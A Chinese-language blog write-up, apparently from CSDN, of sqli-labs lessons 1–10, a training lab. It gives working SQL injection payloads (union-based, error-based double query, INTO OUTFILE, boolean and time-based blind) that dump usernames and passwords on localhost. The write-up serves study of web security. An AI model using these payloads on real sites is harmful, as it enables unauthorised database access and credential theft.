sqli-labs less1-10

本文详细介绍了SQL注入漏洞的各种类型及其利用方法,包括字符型注入、整型注入、带扭曲的字符型注入、双引号字符型注入、双查询单引号字符型注入等。通过示例展示了如何通过 payload 获取数据库名、表名、字段以及数据。同时,也提到了布尔型和基于时间的盲注技术。最后,文章强调了测试和加固系统以防止SQL注入攻击的重要性。
摘要由CSDN通过智能技术生成

less 1 字符型注入

在这里插入图片描述
尝试?id=1
在这里插入图片描述
添加单引号 ?id=1’
报错 猜测id 有引号包括
在这里插入图片描述
尝试永真
在这里插入图片描述
永假
在这里插入图片描述确认有sql注入漏洞 搜索语句约为
SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
用 order by 来判断几列 用–+注释掉后面的句子
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得知3列
在这里插入图片描述
无返回 ,查看代码得知
在这里插入图片描述
mysql_fetch_array()只返回搜索结果的一行
将id 值为0 或负数 使得前面的搜索结果为空,使得后面的结果能显示
在这里插入图片描述
查询数据库名 ,当前用户,版本

?id=0' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())--+

在这里插入图片描述
查询所有表名

?id=0' union select 1,2,GROUP_CONCAT(table_name) from information_schema.`TABLES` where table_schema ='security';--+

在这里插入图片描述
查询字段

?id=0' union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_name ='users' and table_schema='security'--+

在这里插入图片描述
全列出来

?id=0' union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

在这里插入图片描述

less 2 整形注入

在这里插入图片描述
加单引号
’ LIMIT 0,1在这里插入图片描述
’ LIMIT 0,1 说明id 为整型数 无引号包围
在这里插入图片描述
在这里插入图片描述
直接用less1的 payload 删去单引号

?id=0 union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

在这里插入图片描述

less 3 字符型 with twist

?id=1 正常
加上单引号
在这里插入图片描述

‘1’’) LIMIT 0,1 说明 id 有引号和括号包围 (‘id’)
加上 后括号 ) 完成闭环
在这里插入图片描述
所以payload是

?id=0') union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

在这里插入图片描述

less 4 双引号字符型

?id=1 正常
加上单引号无变化
改为双引号
在这里插入图片描述
“1"”) LIMIT 0,1
加括号完成闭环
在这里插入图片描述
所以payload为

?id=0") union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+

在这里插入图片描述

less 5 双查询单引号字符型

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里需要通过令mysql报错来返回关键信息
语法是这样的

select 1,count(*),concat_ws('-',(select ××××),floor(rand()*2)) as a from information_schema.tables group by a--+

原理简而言之,在一个聚合函数,例如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
并且这个bug有时可以运行,有时不可以,多刷新几次就可以了
参考https://bugs.mysql.com/bug.php?id=32249
https://www.jianshu.com/p/8a38d2371b9c
https://blog.csdn.net/qq_35544379/article/details/77453019
在这里插入图片描述
得到数据库名
将×××部分换成
group_concat(table_name) from information_schema.tables where table_schema=‘security’
在这里插入图片描述
得到四个表名
换成group_concat(column_name) from information_schema.columns where table_name=‘users’
在这里插入图片描述
得到三个字段 id username password
payload为

localhost/sqli-labs/Less-5/
?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

得到
在这里插入图片描述
这里只能查询一行,所以不能用group_concat(),可以修改limit的范围来遍历用户信息。

less 6 双查询双引号字符型

一模一样
只需将单引号改为双引号即可
在这里插入图片描述

less 7 导出文件

首先使用 单引号 双引号 括号 双括号测试永真永假式 来判断id的包括符号
在这里插入图片描述
在这里插入图片描述
得出id 是这样的 ((‘id’))
题目提示使用outfile函数 功能是将mysql导出为文件,格式为
SELECT [列名] FROM table [WHERE语句] INTO OUTFILE ‘目标文件’ [OPTION];
用 and (select count(*) from mysql.user)>0 判断是否有权限导出
在这里插入图片描述
有权限导出
在mysql的配置文件my.ini 里 添加secure_file_priv=
即导出路径为任意 。查询mysql命令行验证
在这里插入图片描述
修改成功
查询数据库
在这里插入图片描述
得到
在这里插入图片描述
进而得到表名 user
进一步 导出所有id username password
在这里插入图片描述

less 8 布尔型单引号盲注

id 为单引号包围
在这里插入图片描述
在这里插入图片描述
布尔型只有0和1之分,利用ASCII码猜测数据库名
在这里插入图片描述
在这里插入图片描述
ascii码在100到130之间,利用二分法更快的找到
在这里插入图片描述
ascii码为115,即s
依次盲注,手动效率较低,可以写脚本或利用burp爆破
在这里插入图片描述

less 9 基于时间的单引号盲注

利用sleep()函数
在这里插入图片描述

http://localhost/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select database()),1,1))=115,0,sleep(5)) --+

若正确直接返回,错误则延迟5秒

http://localhost/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select database()),2,1))=101,0,sleep(5)) --+

前两位为se依次得到数据库名为security

less 10 基于时间的双引号盲注

和less9没区别 单引号改双引号即可
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值